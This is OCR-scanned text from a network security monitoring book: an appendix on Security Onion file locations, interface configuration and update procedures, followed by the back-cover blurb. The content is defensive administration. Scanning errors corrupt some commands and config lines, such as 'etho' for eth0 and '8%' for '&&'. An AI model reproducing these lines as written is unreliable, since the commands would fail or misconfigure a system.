squert-ip2c This cronjob updates Squert’s IP-to-country (GeolP)

mappings.

Bro

Bro is installed in /opt/bro/ and its configuration files can be found in

Jopt/bro/elc/.
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CapMe

CapMe is a PHP-based web interface used to pull ASCII transcripts of TCP
sessions. Its PHP scripts and other resource files can be found in /var/www/
capme/. Generally, these files do not need to be modified.

ELSA

ELSA’s core files can be found in /opt/elsa/. Generally, you may need to
modify settings in its two main configuration files:

/etc/elsa_web.conf This file configures the Apache web frontend of
ELSA. It will be present if you chose a stand-alone or server installation
and chose to enable ELSA.

/etc/elsa_node.conf This file configures the log node backend of ELSA.
It will be present if you chose a stand-alone or sensor installation and
enabled ELSA.

Squert

Squert is a web interface for the Sguil database written in PHP. The PHP
scripts and other resource files can be found in /var/www/squert/. You gen-
erally don’t need to modify anything in this directory.

Snorby

Snorby is a web interface for IDS alerts written using Ruby on Rails. Its
scripts and other resource files can be found in /opt/snorby/. Configuration
files can be found in /opt/snorby/config/.

Syslog-ng
Syslog-ng is used by ELSA, and its configuration files can be found in
/etc/syslog-ng/.

/etc/network/interfaces

The /etc/network/interfaces file configures your network interfaces. The
setup wizard will automatically configure this file for you if you choose
Yes, configure /etc/network/interfaces.

You’ll want a management interface (preferably connected to a dedi-
cated management network) using either DHCP or preferably static IP. If
your management interface uses DHCP and you have Bro in cluster mode,
it will complain whenever your DHCP address changes, and you’ll need
to update your IP address in Bro’s node.cfg file. A static IP is highly recom-
mended to prevent this problem.
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You’ll want one or more interfaces dedicated to sniffing, with no
IP addresses. Network interface card offloading functions such as tso,
gso, and gro should be disabled to ensure that Snort and Suricata get an
accurate view of the traffic (see http://securityonion.blogspot.com/2011/10/
when-is-full-packet-capture-not-full . html).

The following are some sample network/interfaces entries.

auto lo
iface lo inet loopback

# Management interface using DHCP (not recommended due to Bro issue described above)
auto etho
iface etho inet dhcp

# OR

# Management interface using STATIC IP (instead of DHCP)
auto etho
iface etho inet static
address 192.168.1.14
gateway 192.168.1.1
netmask 255.255.255.0
network 192.168.1.0
broadcast 192.168.1.255
dns-nameservers 192.168.1.1 192.168.1.2

# AND one or more of the following

# Connected to TAP or SPAN port for traffic monitoring
auto eth1
iface eth1 inet manual
up ifconfig $IFACE -arp up
up ip link set $IFACE promisc on
down ip link set $IFACE promisc off
down ifconfig $IFACE down
post-up for i in rx tx sg tso ufo gso gro lro; do ethtool -K $IFACE $i off; done
post-up echo 1 > /proc/sys/net/ipv6/conf/$IFACE/disable_ipv6

Updating SO

Two aspects of updating SO deserve mention: keeping the platform up-to-
date and keeping MySQL up-to-date.

Updating the SO Distribution

Since all SO packages are in a standard Ubuntu Launchpad Personal Package
Archive (PPA), you can use standard Ubuntu package management tools to
update all packages. You can use the graphical Update Manager, or update
from the command line like this:

sudo apt-get update && sudo apt-get dist-upgrade
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Updating MySQL
Updating the Ubuntu MySQL packages can be problematic due to autossh

port forwarding and other issues. Here’s the recommended procedure to
ensure a smooth MySQL update.

1. Stop all services:

sudo service nsm stop

sudo service syslog-ng stop
sudo service apache2 stop
sudo pkill autossh

sudo pkill perl

2. Check the process listing and verify that all nsm/syslog-ng/apache/autossh/
perl processes have stopped:

ps aux

3. Install the MySQL updates. Other updates (such as securityonion-snorby)
may require MySQL to be running, so update MySQL by itself:

sudo apt-get update 8% sudo apt-get install mysql-server mysql-server-core-5.5 mysql-server-5.5

4. Reboot the system:

sudo reboot
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Network security is not simply about building impene-
trable walls—determined attackers will eventually over-
come fraditional defenses. The most effective computer
security strategies integrate network security monitoring
(NSM): the collection and analysis of data to help you
detect and respond to intrusions.

In The Practice of Network Security Monitoring,
Mandiant CSO Richard Beijtlich shows you how to

use NSM to add a robust layer of protection around
your networks—no prior experience required. To help
you avoid costly and inflexible solutions, he teaches you
how to deploy, build, and run an NSM operation using
open source software and vendor-neutral tools.

You'll learn how fo:

e Determine where to deploy NSM platforms, and
size them for the monitored networks

® Deploy stand-alone or distributed NSM installations

® Use command line and graphical packet analysis
tools and NSM consoles

THE FINEST IN GEEK ENTERTAINMENT™
www.nostarch.com
no starch

press

“I LIE FLAT.”

This book uses RepKover—a durable binding that won't snap shut.

Foreword by Todd Heberlein,
Developer of the Network
Security Monitor System

* Interpret network evidence from server-side and
clientside intrusions

e Integrate threat intelligence infto NSM software to
identify sophisticated adversaries

There's no foolproof way to keep attackers out of

your network. But when they get in, you'll be prepared.
The Practice of Network Security Monitoring will show
you how to build a security net to detect, contain, and
control them. Attacks are inevitable, but losing sensitive
data shouldn't be.
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Twitter as @taosecurity.
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